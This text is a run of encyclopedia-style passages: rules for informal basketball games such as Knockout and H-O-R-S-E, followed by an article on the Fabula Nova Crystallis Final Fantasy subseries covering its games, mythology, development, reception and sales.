Six-on-six basketball: was a form of basketball played in the twentieth century mainly among high school girls.
Twenty-one basketball, game that can be played with two or more players. Each player has their own score, with the winner being the first to reach 21 points. No player has any teammates at any time in the game. The player with the ball may shoot at any time, and may collect his own rebound and shoot again. Whenever a basket is scored, that player receives two points and goes to the free throw line, where each made free throw tacks on another one point to their score. The player is allowed to shoot free throws until he misses, or until he has made 3 in a row, at which point the ball is put back in play, and the sequence starts again. Twenty-one is nearly always played in a half court game.
More distantly related games
Spin-offs from basketball that are now separate sports include:
Ringball
Ringball is a traditional South African sport that stems from basketball and has been played since 1907. The sport is now promoted in South Africa, Namibia, Botswana, Lesotho, India, and Mauritius to establish Ringball as an international sport.
Korfball
Korfball started in the Netherlands and is now played worldwide. Korfball (Dutch: Korfbal) is a mixed gender team ball game, similar to mixed netball and basketball.
Netball
Netball is a limited-contact team sport in which two teams of seven try to score points against one another by placing a ball through a high hoop. Netball was formerly called "women's basketball" but now includes men's teams as well.
Slamball
Slamball is full-contact basketball, with trampolines. Points are scored by playing the ball through the net, as in basketball, though the point-scoring rules are modified. The main differences from the parent sport is the court; below the padded basketball rim and backboard are four trampolines set into the floor which serve to propel players to great heights for slam dunks. The rules also permit some physical contact between the members of the four-player teams.
Other basketball variations
H-O-R-S-E
The game of H-O-R-S-E is played by two or more players. The order of turns is established before the game starts. The player whose turn is first is given "control", which means they must attempt to make a basket in a particular way of their choosing, explaining to the other players beforehand what the requirements of the shot are. If that player is successful, every other player must attempt that same shot according to its requirements. If a player fails to duplicate the shot, they acquire a letter, starting with H and moving rightward through the word "Horse". After all players have made an attempt, control moves to the next player, and the game continues on in this fashion. If a player who has control misses their shot, there is no letter penalty and control moves to the next player. Whenever any player has all of the letters, they are eliminated from the game. The last player in the game is declared the winner.
If the players want a shorter or longer game, they can change the length of the word that dictates how many missed shots are needed to get eliminated. Other variations include a requirement that the shot that dictates what other players must make can involve saying something, or making some particular movement. In other versions a player gets a second try on their final shot before getting eliminated from the game, often called “Farmer’s Chance”.
The NBA All-Star Weekend H–O–R–S–E Competition is a contest where players from the National Basketball Association play the game against each other.
Airball
This game can be played by as many players as needed. The first shooting line is the foul line.
Each player has an order for when it is their turn to shoot. The first shooter takes their shot from the foul line. If they miss the ring and backboard or Airball on the shot, then they are eliminated, and this is applied to any shot by any player during the game.
If they miss the shot but hit either the ring or backboard then the next player in line must retrieve the ball after it has bounced once but before it bounces twice, then take the shot from wherever they retrieved the ball. If the ball bounces twice, the player is eliminated.
If the shot is made, then the shooter must retrieve the ball before it bounces twice, they then take another shot, if they make 3 shots in a row, then they are able to eliminate another player by hitting them with the ball. The remaining players are able to run away from the shooter but must stop and remain frozen, when the shooter has retrieved the ball after the 3 shot and yelled "STOP". The shooter must then take 7 steps and throw the ball from wherever they have reached. Any player who is touched by the ball is then eliminated. The game is then restarted from the Free Throw line from the next player in line. The game is continued until there is only one player not eliminated. Last player standing is the winner.
Some special techniques used are to start running away from the ring once a shooter has made two shots to ensure that if a 3rd is made, it is more difficult to hit them with the ball. The shooter can negate this by purposefully missing the 3rd shot in the hope the next shooter is too far away to retrieve it. Another technique is to throw the ball very hard at the ring to enable a difficult return for the next shooter.
Fives
This game is played by 2 or more players. The shooting line is typically the top of the key, but can be moved to the foul line for younger players. Before the game starts, select an order of play. All players (except the one shooting) should remain behind the shooting line, out of the line of play.
The first player shoots from the shooting line. If the shot is missed, the player must retrieve the rebound, and shoot from the spot that the rebound was retrieved. The other players are not permitted to interfere with either the ball or the player. The player continues to shoot until a basket is made to a maximum of 5 shots. When the first player has made the shot, the next player begins shooting, again from the shooting line. This player must make the basket in the same number, or fewer shots than the preceding shooter. The next player then shoots, again from the shooting line and must make the basket in the same number, or fewer shots than the player that immediately preceded him\her in shooting.
If a player takes more shots than the player that immediately preceded him\her, a point is added to that player's score. Additionally, if a player is unable to make a basket in 5 shots or less, another point is added to that player's score.
When a player reaches 5 points, he\she is eliminated from the game. When a player is eliminated from the game, the player immediately following that player has up to 5 shots on his\her turn. The game continues until all but one player has been eliminated. The last player standing is the winner.
In and Out
In and Out is a game that requires more than three players. One player starts the game by shooting from the free throw line. If they make two baskets in a row, they can eliminate a player of their choosing. If they miss their shot, they must try to rebound the ball, and the person closest to the ball where it lands are the two people 'in play'. Whoever gets to the ball first is the attacker and the other is the defender. If the attacker makes a basket, the defender is eliminated.
There are always two people that are considered 'in play'. [The other nearby players should maintain relatively still so as not to interfere] The primary player is usually the last person to shoot the ball, and the secondary player is the closest moving person to the ball. (If all players stayed frozen, whoever is closest to where the ball landed is automatically 'in play') Whoever then gets the ball is considered the primary player, aka the attacker, and the secondary player is the defender. However, during play, if another person is closer and makes a move for the ball, that person is now 'in play': Again, whoever gets the ball is the primary, and the last person that moved for the ball is now the secondary.
If you are eliminated, you stand off the court, at the foot of the basket, but you can still get back into the game. If a player shoots an airball, you can get back in the game if you are the one to catch it before it touches the ground. You then become the attacker and the person who made the airball shot is the defender. (For this rule, you do have to remain off the court when catching the airball so as not to be actively interfering in the game). The game is over when all but one player has been eliminated. The last player standing is the winner.
additional common rule:
If a player eliminates a certain number of people by making baskets from the free throw line (a common number is five), then they must then start shooting from the top of the key.
The last player either cannot be eliminated with a free throw or must be eliminated with an extra shot to end the game, either from the top of the key or from the half court line.
If the player makes two baskets in a row, if they do not want to eliminate another player, they can get an "extra life". The extra life gives the player another chance if they get eliminated.
Around the World
Around the World (sometimes called Around the Key) is a basketball variant played by 2 or more players, who have all agreed upon a turn order. The game requires a sequence of shooting positions to be decided upon. The object is to be the first player to make a shot from all positions. When a player makes a successful shot from the final position, the game enters the final stage. Some play such that this player is declared the winner. Others play such that those players who have yet to act on the turn get a chance to tie, which cancels any advantage of going first.
In theory, the shooting positions are arbitrary; in practice, they are most commonly ordered along the 3-point line in equal intervals starting from one of the sides of the basket and including the straight-on center shot (e.g., 0, 30, 60, 90, 120, 150, and 180 degrees along the 3-point line with 90 being the center). This 180-degree semi-circular path is the inspiration for the game's name. Other common positions are around the key or even under the basket.
Making a shot from a position allows a player to advance to the next position. The rules are very flexible but usually a player keeps advancing until a missed shot. The consequences of missing a shot may vary. Sometimes the game is played such that a missed shot requires the player to start over at the first position. Under this rule, the game may also include another rule that allows a player to "save" their position, and pass the ball to the next player. It is probably most common, however, to play such that each player continues until a missed shot. At this point a player may save his position or elect to take another "chance" shot. If the chance shot is made, the player advances as normal. If it misses, the player's turn ends and they suffer some penalty, perhaps regressing a position or even starting over.
There are a multitude of ways the game can be modified. Other variations include: shooting with the off arm, shooting with alternating arms, or using the backboard on every shot (except those directly to the side of the basket). This game can also be played alone as shooting training.
Knockout
Knockout, sometimes called Lightning, Bump, Gotcha, Bumpout, Tornado, Speed, or Killer is played by two or more players and requires two basketballs. All players line up behind the selected shooting point, typically the center of the free throw line or the top of the key. The first player in line shoots. If they miss, they rebound the ball and continue shooting until they make a goal. Once the first player throws the ball for his first attempt, the second player may make his first attempt. The goal of the first player is to make a basket before the second player does. If so, the first player recovers the ball and passes it to the next player in line. The goal of the second player is to make a basket before the first player does. If so, the first player is out and play continues as the first player delivers his ball to the next player in line. This pattern follows until all players have been eliminated except one, who is declared the winner. Any new players can typically join the game at the rear of the line until the first player to become out has done so. Typically a new game starts with all players wanting at that time to play lining up at the same shooting point.
Players are usually not required to dribble. In games where dribbling is required, occasional instances of traveling are allowed and double dribble is not enforced. There are no boundaries to the playing field. Some variations allow for a player to use their ball to knock the opponent's ball out of its trajectory in mid-air, but some players discourage this behavior or place limits on it. Softly shooting one's first shot, or throwing it hard against the backboard, in order to quickly recover the ball for a shorter shot is generally considered cheating.
Additional common rules:
When there are three shooters left, the players can decide to start shooting from the 3 Point line instead, then when there are two shooters left, they can decide if they want to shoot from the half court line or circle.
If they decide, the players that have been eliminated can stand under the hoop. If the shooters shoot an air-ball (a shot that does not touch the basketball hoop or backboard), the players under the hoop can catch the ball. The player that catches the ball switches places with the shooter that shot the air-ball. Nothing happens if the players under the hoop do not catch an air-ball. This rule is often disputed by the players to be dangerous, because many times the players under the hoop sit down directly under the hoop waiting for air-balls and not paying attention if a ball will hit them.
The winner is allowed to pick where the new shooting point is.
The winner of the previous game must go 1st or 2nd in the next game, thus putting him/her at risk for the former or in safety for the latter.
When a player is eliminated, any other players that player previously eliminated return to play at the end of the line. For example: Alice, Bob, Cami, Dan, and Edgar are playing. Dan eliminates Cami and Bob. Later, Edgar eliminates Dan so Cami and Bob return to play at the end of the line. This variant is called Revenge. The logic for this version is that the winner must eliminate all other players in order to win. A game of revenge can take a long time to finish since any player can be eliminated and return to play any number of times. Some versions of revenge put a limit on how many times a player can return to play; i.e., once a player has been eliminated five times (for example), that player cannot return to play.
Forcing the second shooter to wait for the shot from the first shooter to touch or pass the rim or backboard before taking a first shot.
When a player is eliminated, there is a variation not to wait until both balls return to the line. As soon as the first ball is returned, the next player may shoot.
King of the Court
Another less common streetball variant, often referred to as "King of the Court", or "Boston", results in essentially a one-on-one or sometimes two-on-two tournament between any number of players. Each match is played following normal one-on-one rules, including violations (such as fouls and out-of-bounds) to just one point. The winner remains on the court and gets to take the ball out while the loser returns to the end of the line of players waiting to step on the court. The first player to win a set number of matches (usually 7 or 11) wins the game can only take one shot per turn.
Beach basketball
Beach basketball may be played on concrete or on sand. It was invented in the United States by Philip Bryant in the early 1980s on the PE fields of Gulf Shores School in Gulf Shores, Alabama. The game is played on a circular court with no backboard on the goal. There are no out-of-bounds, ball movement is via the pass or 2½ steps, and there is no dribbling. Eighteen World Beach Basketball Association World Championships have been played over the years.
German beach basketball uses a beach court smaller than a standard basketball court and without lines. Over the year, several tournaments are held, ending in the German championship which is organized by the German basketball federation.
Rules:
Each team has three players plus a maximum of two players to change.
The court consists of a sand surface in the range of about 12–15 m, and two opposing basketball baskets and backboard, which are situated on the short sides of the pitch. Basically, there are no out lines.
A game lasts ten minutes, divided into two halves to five minutes. At halftime, the sides are changed.
In a tournament team mentioned first at the beginning of the first half is in the possession of the ball. The second mentioned team has the ball in the second halftime.
If the ball falls in the sand, the player first touches the ball may take the ball and continue unhindered.
In the event of a tie during normal play, the match is decided with a free throw shoot-out. Each player gets one free throw for their team.
References
External links
Different Basketball Shot Types
Amateur One on One basketball in Serbia
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https://en.wikipedia.org/wiki/Fabula%20Nova%20Crystallis%20Final%20Fantasy
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Fabula Nova Crystallis Final Fantasy
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is a series of games within the Final Fantasy video game franchise. It was primarily developed by series creator and developer Square Enix, which also acted as publisher for all titles. While featuring various worlds and different characters, each Fabula Nova Crystallis game is ultimately based on and expands upon a common mythos focusing on important crystals tied to deities. The level of connection to the mythos varies between each title, with each development team given the freedom to adapt the mythos to fit the context of a game's story.
The series, originally announced in 2006 as Fabula Nova Crystallis Final Fantasy XIII, consists of seven games across multiple platforms. Final Fantasy XIII, designed as the series' flagship title, was released in 2009. The creative forces behind the series include many developers from previous Final Fantasy titles, including Shinji Hashimoto and Motomu Toriyama. The mythos was conceived and written by Kazushige Nojima. The first games announced for the series were Final Fantasy XIII, Final Fantasy XV (as Versus XIII), and Final Fantasy Type-0 (as Agito XIII). All three games went through delays. After Final Fantasy XIII and Type-0s releases, their respective teams used ideas and concepts from development to create additional games. For later games, other studios have been brought in to help with aspects of development. Final Fantasy XV was distanced from the series brand for marketing purposes, though it retains thematic connections.
Seven titles, the original three projects and four additional titles, have been released as of 2016. The series is complemented by works in related media, including companion books, novelizations, and manga. Final Fantasy XV notably expanded into a multimedia project, spawning a feature film and an original animated webseries. Individual games have generally received a positive reception, although opinions have been more mixed over various aspects of the three Final Fantasy XIII games. Reception of the mythos' use in the released games has also been mixed: while some critics called it confusing or too similar to the lore of the main series, others were impressed by its scope and use. Retrospective opinions on the series have also been mixed.
Titles
Fabula Nova Crystallis Final Fantasy currently consists of seven titles across multiple platforms, including sequels and spin-offs of the original three entries. The entries in the Fabula Nova Crystallis series share the same mythology, interpreted differently and referred to in varying degrees for each of the game worlds.
Final Fantasy XIII, the thirteenth core Final Fantasy game and the first title in the series. First released in Japan as a PlayStation 3 exclusive in December 2009, it was released on the PlayStation 3 and Xbox 360 in North America and Europe in March 2010. A version of the game for the Xbox 360, Final Fantasy XIII Ultimate Hits International, was released in Japan in December 2010. XIII was released as a digital download for Windows in October 2014. The game was designed as a story-driven single-player role-playing game (RPG), with a battle system designed to emulate the cinematic battles seen in the film Final Fantasy VII: Advent Children.
Final Fantasy XIII-2, a direct sequel to XIII, was released in December 2011 in Japan, and in January and February, 2012 in North America and Europe respectively for PS3 and 360. It received downloadable content (DLC) expansions during 2012, and a Windows port in 2014. In response to criticism the company received from critics and fans about XIIIs linear structure, XIII-2 was designed to be a more traditional role-playing game, with explorable towns, a nonlinear story structure, mini-games, and other traditional features.
Lightning Returns: Final Fantasy XIII, a sequel to XIII and XIII-2, was released in November 2013 in Japan, and February 2014 in North America and Europe for PS3 and 360. A Windows port was released in 2015. It concludes both the narrative of the main character Lightning and the Final Fantasy XIII story arc. Lightning Returns blends several traditional role-playing features, such as shops, quests and an explorable open world, with an action-oriented combat system.
Final Fantasy Type-0 (originally titled Final Fantasy Agito XIII) was released in October 2011 in Japan for the PlayStation Portable. A high-definition remaster for PlayStation 4 and Xbox One, Final Fantasy Type-0 HD, was released worldwide in March 2015. The original game is a real-time action RPG, featuring combat similar to Crisis Core: Final Fantasy VII, and a multiplayer option where online players can take control of characters during the majority of the game. Type-0 HD features updated graphics and changes to the gameplay, such as lower difficulty and the removal of multiplayer.
Final Fantasy Agito, a companion title set in Type-0s world, was released in May 2014 in Japan on Android and iOS devices. Service ended in November 2015. Ports for the PlayStation Vita and Microsoft Windows were also in development, but have since been canceled. Agito was an episodic game featuring single-player and multi-player modes, and a social system where the player's standing with non-playable characters advances their rank in-game.
Final Fantasy Awakening, a replacement for Agito, was released in December 2016 in China, and in February 2018 in North America for Android and iOS. The gameplay features cooperative multiplayer similar to the original multiplayer elements of Type-0, along with hack-and-slash gameplay. All versions have closed down as of 2020.
Final Fantasy XV (originally known as Final Fantasy Versus XIII), the fifteenth core Final Fantasy title, was released worldwide on November 29, 2016 for PS4 and Xbox One. It was later ported to Windows and the Google Stadia platform. The game is an action role-playing game with a battle system similar to those from the Kingdom Hearts series and Type-0. The game uses open world exploration using both a vehicle and chocobos, along with a camping mechanic linked to gaining experience levels. Its development cycle, beginning in 2006, lasted ten years. The game was supported by DLC between 2016 and 2019.
Final Fantasy XIII and its sequels have a strong connection to the mythos, making extensive use of its terminology and involving many of its deities. The universe of Final Fantasy Type-0 used the terminology and made minor reference to the mythos while focusing on the human side of events, although these references were added during later story development. While the mythos is still present in Final Fantasy XV, it was "disconnected" from the core framework, with specific terminology being removed and its emphasis reduced to become a background element for the world and story.
Themes
The universes of Final Fantasy XIII, Type-0 and Final Fantasy XV are unrelated to each other, though common elements and themes are present. The first is a common narrative theme of harmful interference by the mythos' deities in the affairs of humans, and those humans' choice of whether to accept or challenge the predetermined fates given to them. Tetsuya Nomura defined this theme as "a battle of the gods that lies behind each tale and gives it inspiration in a different way". Hajime Tabata later defined the theme as a tale of humans placing their lives at risk after being chosen by the crystal. The second common element is the structure of the Fabula Nova Crystallis universe, which is divided in two: the mortal world, where humans live, and the afterlife or . A recurring theme is subverting the series' traditional view of crystals, making them objects that brought both prosperity and tragedy by their influence.
A common element not related to the mythos, themes or plots of the series is the use of Latin in the games' titles or worlds, often as key words to describing themes and story points. The series' title Fabula Nova Crystallis is translated by Square Enix as "The New Tale of the Crystal", roughly translates as "to put into motion", while translates as both "to turn around" and "against". All these Latin terms were described as representing key narrative concepts. The term was kept in Final Fantasy Type-0 as both an in-universe concept and the title of its prequel. was used in early trailers for Final Fantasy XV after its re-reveal in 2013, carrying the tagline A World of the Versus Epic. Commenting on the extensive use of Latin in Final Fantasy XV prior to its public name change, Nomura said he wanted a language that was no longer used on a daily basis and that people "won't be able to understand and yet appreciate", desiring a sense of general equality.
Mythology
In the mythology, the god seizes control of the mortal world by killing his mother, the creator goddess , who vanishes into the Unseen Realm. Believing that the mortality of the world is Mwynn's curse, Bhunivelze creates three new deities to search for the gate to the Unseen Realm so he can control both worlds. The first deity, , is tasked with terraforming the world; the second deity, , is discarded because of her resemblance to Mwynn; the third deity, , acts as Bhunivelze's protector. Bhunivelze then enters a deep sleep, while Lindzei and Pulse carry out their missions. Distraught at being abandoned, Etro kills herself, and humans are born from her blood. Once in the Unseen Realm, Etro finds Mwynn being consumed by a force called chaos, which threatens to destroy reality. As Mwynn fades, she tasks Etro with protecting the balance between the worlds. Etro gives humans pieces of chaos that become their "hearts". Because humans held chaos within them, they maintained the balance through their death and reincarnation. Since then, humans have either worshiped or feared Pulse and Lindzei, and refer to Etro as the goddess of death. The mythos' deities hold similar roles in each game's setting, but are not the same characters in a narrative sense.
A recurring race in the games are god-like beings created by Pulse and Lindzei to act as their servants in the mortal world. In the original mythos and the XIII games, the demigods are called fal'Cie . They take the form of crystal-powered mechanical beings in the XIII games. In the universe of Type-0, they are both semi-sentient crystals and humanoid beings living among the people. The fal'Cie have the ability to imbue chosen humans with magical powers and assign them a task to complete either willingly or unwillingly. Final Fantasy XIII and Type-0 refer to these people as l'Cie and the task given to them as a Focus. In XIII, there are two possible outcomes for l'Cie: once their Focus is fulfilled, they can go into 'crystal stasis', transforming into a crystal statue, and gain eternal life, but if they fail they become mindless crystalline monsters called . In Type-0, l'Cie are chosen by the crystal of their country, and given great power to fulfill their assigned Focus, but lose their memories if emotionally unstable. While not referred to as such using the original terminology, humans imbued with magic and burdened with a task exist in Final Fantasy XV, one of them being the main protagonist Noctis.
Production
Creation
The concept for the Fabula Nova Crystallis series originated during late development on Final Fantasy X-2 and the original Kingdom Hearts. Discussing what to do once Final Fantasy XII was completed, Nomura, Shinji Hashimoto and Yoshinori Kitase decided to build upon the idea of multiple games connected by a single "central theme". Scenario writer Kazushige Nojima started writing the original mythology for the Fabula Nova Crystallis series in 2003, finishing it by February 2004. Nojima described his creation as the result of a wish to create something entirely new; a universe with its own mythos and legends. When he introduced the concept to other team members, they liked it and helped it grow. As with some of his other projects, Nojima incorporated themes of mythology due to his liking for and extensive research of Greek and Norse mythology. During his work, he received creative input from Kitase and Hashimoto, as well as Nomura, Tabata and Motomu Toriyama. Nojima wrote a series bible about the mythology, explaining concepts such as the fal'Cie and l'Cie and the feelings of the deities who created them. This bible became the basis for a video animated by Yusuke Naora's art team to showcase the mythos in 2011. None of the deities were depicted in human form in the video, as this would have undermined the developers' wishes for open interpretation by developers and players.
The central concept for Fabula Nova Crystallis came from the Compilation of Final Fantasy VII, a multimedia subseries featuring the world and characters of Final Fantasy VII. Whereas the common link in the Compilation was VII, the team chose to use "the tale of new crystals" for the new series, with the mythos connecting the games rather than an overarching narrative. Another key idea behind the mythos was to ease the production of future Final Fantasy games by providing an established universe. The individual directors are allowed to freely interpret the base mythology when they create their games. When referring to this freedom, Tabata has compared the mythos and the concept behind it to Greek mythology; a mythos with common themes and deities, but featuring many unrelated stories.
Toriyama based the story of Final Fantasy XIII around the mythos' deities and their direct relations to the world. Tabata and Nomura both focused on the human side of the story. Tabata chose to portray the divine elements from a historical standpoint in Type-0. Nomura created a modern-day setting similar to contemporary Earth in Final Fantasy XV, referring far less to the mythos' terminology. Nomura was also appointed as the main character designer for all entries in the subseries. In a 2007 interview, Hashimoto compared the planning of the Fabula Nova Crystallis series to film franchises such as Star Wars and The Lord of the Rings: an expansive brand on which to build multiple Final Fantasy titles planned in advance. The development of all games connected to the mythos was handled by Square Enix 1st Production Department. A trademark for Final Fantasy Haeresis XIII hinted at another entry, but the trademark expired in 2011 and the company did not renew.
Development
Final Fantasy XIII began development in February 2004. It began as a title for the PlayStation 2 under the codename "Colors World", but was moved onto PlayStation 3 after the positively received Crystal Tools engine demo in 2005 and the delayed release of Final Fantasy XII. The original titles in the series were Final Fantasy XIII and Versus XIII. Agito XIII was created later, when Tabata was looking for a new project after finishing Before Crisis: Final Fantasy VII. Originally titled Fabula Nova Crystallis Final Fantasy XIII, the project and original three titles were announced at E3 2006. Final Fantasy XIII and Versus XIII were intended to form the core of the series, with future games being a "facet" of XIII. Agito XIII and Versus XIII both began production in 2006. The subseries' title changed in 2011 when the "XIII" numeral was dropped as it "would have been an issue" following the rebranding of Agito XIII to Type-0.
XIII was developed by team members who had worked on Final Fantasy VII, VIII, X and X-2. It was first announced as a PS3 exclusive. Late in its development, Final Fantasy XIII changed from being a console exclusive when an Xbox 360 version was announced, significantly delaying its release. After the release of Final Fantasy XIII, the creators wanted to expand on the game's setting and tell more stories about the characters, so XIII-2 and Lightning Returns were developed. For these games, Japanese developer tri-Ace was brought in to help with the games' design and graphics. The three games and their respective tie-in media were referred to as the "Lightning Saga" by Square Enix staff after the games' central character. A port for Microsoft Windows was considered, but not followed up due to platform-specific concerns and the company's view of the video game market. Later, Final Fantasy XIII and its sequels would receive PC ports through Steam. While there was speculation that Fabula Nova Crystallis would end with Lightning Returns, Kitase repeatedly said there was still room for further titles beyond the XIII universe.
Agito XIII was handled by staff from Before Crisis. The game was originally being developed as an episodic mobile game. By 2008, Agito XIII had been moved onto the PlayStation Portable, then later renamed Final Fantasy Type-0. The stated reason for the change of title was that Final Fantasy XIII and Type-0 shared little besides the core mythos. Type-0s western release was delayed due to the flagging PSP market in western territories. A high-definition port to the same platforms as Final Fantasy XV was co-developed by Square Enix and HexaDrive, and was eventually announced for a western release. Tabata created Agito around his original ideas for Type-0 as a mobile title. Agito acted both as a prequel to Type-0 and as an alternate story set within its world. The game was co-developed by mobile game developer Tayutau K. K. Later, Chinese developer Perfect World were brought in to develop Awakening; it was the first Final Fantasy title licensed by Square Enix to an external company. The English version of Awakening closed in 2019 due to server changes, while the game as a whole was shut down in 2020 with the expiry of the licensing deal.
Versus XIIIs development was headed by the team behind the console Kingdom Hearts games. Like XIII, the game was a PS3 exclusive. As early as 2007, Square Enix considered re-branding Versus XIII as a numbered entry in the main series due to the rapidly growing scale of the project. The game was eventually re-branded in 2011 as Final Fantasy XV. As part of its later marketing, XV was deliberately distanced from the Fabula Nova Crystallis brand to remove the consequent limitation on their target audience, although lore and design elements were retained. The game was also moved fully onto eighth generation consoles and developed using the company's new Luminous Studio engine. The PS3 version was abandoned due to concerns about the console's continued viability. Final Fantasy XV eventually had help from multiple developers, including HexaDrive, XPEC Entertainment and Umbra. In contrast to Final Fantasy XIII, Tabata decided against creating any sequels to XV, instead expanding the base game through DLC. The first season of DLC was well received, so a second season was commissioned. All but one of these later DLC episodes were canceled in 2018 following the decision by the team to focus on a new intellectual property.
Related media
The games have been complemented and expanded upon through other media. For Final Fantasy XIII, a small book of short stories titled Final Fantasy XIII – Episode Zero was released, first through the game's website and then as a print release in December 2009. It shows events prior to the game's opening. A second novella, Episode i, was published via XIII-2s official website, bridging the narrative gap between XIII and XIII-2. Alongside XIII-2s Japanese release, a book detailing events not shown or described in the game titled Fragments Before was released in December 2011 including Episode i; this would be followed up by Fragments After, released in June 2012. Only Episode i has received an official English release. Lightning Returns was also set to receive a prequel novel by Benny Matsuyama alongside the game's Japanese release in November 2013, but was later canceled due to the author falling ill. A three-part novella exclusive to Famitsu Weekly magazine titled Final Fantasy XIII Reminiscence: tracer of memories was released across June and July 2014. It was written by Daisuke Watanabe, who handled the scripts for the XIII games, and takes place immediately after the ending of Lightning Returns. Reminiscence was later released online.
Final Fantasy Type-0 received a manga adaptation illustrated by Takatoshi Shiozawa. It began publication in the November 2011 of Young Gangan and was collected into a single volume and released in April 2012. The manga was translated into English and released as part of the western collector's edition for Type-0 HD, available exclusively through Square Enix's online store. A second manga following one of the game's secondary characters, Final Fantasy Type-0 Side Story: Reaper of the Icy Blade, began serialization in May 2012. The latter manga was created by Shiozawa under Nomura's supervision. The manga ended in January 2014, with a bonus chapter released in February of the same year. It was released in the west in July 2015, licensed by Yen Press. Two novels detailing an alternate version of Type-0, titled Final Fantasy Type-0: Change the World, were released in April and June 2012. Agito received another Change the World novel adaptation focusing on two of the game's supporting characters. Ultimania guides and companion books have been released for the majority of released games.
Final Fantasy XV similarly had additional media released around it, forming a dedicated multimedia expansion dubbed the "Final Fantasy XV Universe". The majority of its content fleshed out the background for XVs plot, which would have required multiple video games under normal circumstances. While comparing the XV Universe to the overall structure of Fabula Nova Crystallis, the game's director defined it as an attempt to make the narrative of XV work in current times rather than attempting to "reinvent" the original concept. An anime produced by Square Enix and A-1 Pictures, Brotherhood: Final Fantasy XV, details the backstories of the main cast and how they came to be journeying together. It was distributed online in the months leading up to the game's release. A CGI feature film produced by the same team as Advent Children, Kingsglaive: Final Fantasy XV, was released in July 2016 in Japan and in August in America; it focuses on the main character's father Regis Lucis Caelum, alongside original characters. The canceled DLC was turned into the novel Final Fantasy XV: The Dawn of the Future.
Reception
The Fabula Nova Crystallis mythos has received mixed reactions from gaming sites. Hardcore Gamers Brady Hale called the series "anything but ordinary" in the variety of games it featured. In an article concerning the 25th Anniversary event for the Final Fantasy series, Joystiqs Ben Gilbert called the Fabula Nova Crystallis mythos "occasionally bizarre and often beautiful". In 2014, Jeremy Parish of USGamer said the series was "much ado about nothing", stating that since the games shared a large amount of themes and plot points with the main series, there seemed little reason for a distinction. TechnoBuffalo's Ron Duwell, in an article concerning a documentary video on Final Fantasy XV, called the series "overly ambitious", but felt that it was worth Fabula Nova Crystallis "[imploding] upon itself" if Final Fantasy XV fulfilled its promises. Kat Bailey, writing for USGamer as part of her review for Final Fantasy XV, said that series fans were ready for the subseries to come to an end with the game's release. RPG Sites Chelsi Laire called the subseries "a series of successes and failures, but mostly the latter" due to its troubled development, but hoped that the company would revisit the brand in the future.
Speaking about the XIII games in particular, Parish suggested that their mixed reactions influenced the title changes of other games in the original series, giving the teams a chance to give those games more of their own identity. He also felt that the decision to expand the XIII storyline into multiple games "probably worked out just as well". The presentation of the mythos and its terms received mixed reactions in XIII, resulting in the production team toning down their use for XIII-2. Siliconera writer Spencer Yip, in his review of Lightning Returns, commented that the story and pace of the game was "muddled" by the mythos. In 2016, RPGFan writer Mike Salbato wrote a retrospective of the Final Fantasy XIII games and their version of Fabula Nova Crystallis: he felt that the lack of specific references to the mythos in XIII had harmed general comprehension, and that a reliance on foreknowledge made its sequels difficult to play as standalone titles. In contrast, the portrayal of the mythos in Type-0 was praised by RPG Sites Erren Van Duine in an import review of the title, with him saying that "elements such as l'Cie and fal'Cie are handled in much more interesting ways". When commenting on the lore of Final Fantasy XV, Andrew Reiner of Game Informer praised the story for sticking to basics and avoiding "[overwhelming] the player with lore or branching threads, something Final Fantasy XIII struggled with".
Individual titles
Final Fantasy XIII was positively received in Japanese magazines, garnering exceptionally high scores from both Famitsu and Dengeki PlayStation. In the west, the game was praised for its graphics, battle system, and music, but opinions were mixed about its story and it was criticized for its highly linear structure. XIII also won an award for best graphics in GamesRadars 2012 Platinum Trophy Awards. XIII-2 received a positive reception overall, gaining perfect scores from Famitsu and Dengeki PlayStation, and high scores from most western sites. Common points of praise were its non-linear nature, improved battle system and graphics, while the main points of criticism were its story and characters, which were often called weak, confusing or both. Lightning Returns received mixed reviews, with its combat being highly praised, its graphics and time limit mechanic drawing mixed responses, and the story and characters being cited as poorly developed.
Type-0 had a highly positive reception in Japan, with it garnering near-perfect scores in Famitsu and Dengeki PlayStation. Import reviews were also fairly positive, sharing many points of praise with the Japanese reviews. Type-0 HD also received a positive reception in the west, with main praise going to the story, characters and action-based gameplay. Other aspects came in for criticism, such as elements of the graphics upgrade, the real-time strategy segments, and the localization. Western previews of Agito have also been positive, with critics agreeing that it looked good on the platform and worked well from a gameplay standpoint. Final Fantasy XV was positively received by many journalists; praise went to aspects of the story, the main characters, battle system and graphics, while the overarching plot, supporting cast and other technical elements such as the camera and late-game changes in gameplay were criticized.
Sales
Final Fantasy XIII broke sales records for the Final Fantasy franchise, selling 1.5 million units in Japan on its release day, and a further million a month after its North American release. XIII-2 was the most purchased title of 2011 in Japan upon release, and reached second and first place in sales charts in the United States and United Kingdom respectively. Lightning Returns had lower first-week sales than its predecessors, but still topped the sales charts in Japan, selling over 277,000 units in its first week and over 404,000 copies by the end of 2013. It ranked as third and eighth in the UK and US February sales charts respectively. Approximately 800,000 copies were sold by as of November 2014. The three XIII games have collectively sold 11 million units worldwide. Speaking of the decreasing success of the XIII games and their effect on the Fabula Nova Crystallis series on USGamer, Parish felt that the initial backlash received by XIII had turned the "XIII" moniker into "box office poison".
Type-0 sold over 472,000 units in its first week, and went on to sell over 740,000 units in Japan. The title was also added to the company's list of Ultimate Hits, re-releases of lucrative titles. Type-0 HD reached the top of the sales charts in its debut week, selling 93,000 units, though it ultimately performed poorly in Japan. It was among the ten top-selling games in March for the UK and US. By April, Type-0 HD had shipped over one million copies worldwide. Agito was highly successful in Japan, achieving 500,000 registered users within a week of release. By November of the year of release, the game had received one million downloads. Awakening met with commercial success in China, achieving two million downloads within its month of release. Upon its release, Final Fantasy XV sold five million copies worldwide through retail shipments and digital sales, breaking sales records for the Final Fantasy franchise. By May 2022, XV had sold ten million units worldwide across all versions, making it one of the bestselling Final Fantasy games of all time.
Official response
Speaking in a 2014 feature on the series, Kitase and Toriyama commented that the initial structure and goals of the project had worked against it, causing the mythos narrative to become unfocused and difficult for players to follow within a single game. In the aftermath, Square Enix decided to move away from the complex narrative style that had accompanied the mythos, instead focusing on telling more understandable standalone stories. Tabata described the decision to distance Final Fantasy XV from the mythos brand as a complicated but necessary one.
Notes
References
External links
Fabula Nova Crystallis official portal site
Final Fantasy video games
Final Fantasy spin-offs
Square Enix franchises
Video game franchises
Video game franchises introduced in 2009
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https://en.wikipedia.org/wiki/Societal%20and%20cultural%20aspects%20of%20Tourette%20syndrome
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Societal and cultural aspects of Tourette syndrome
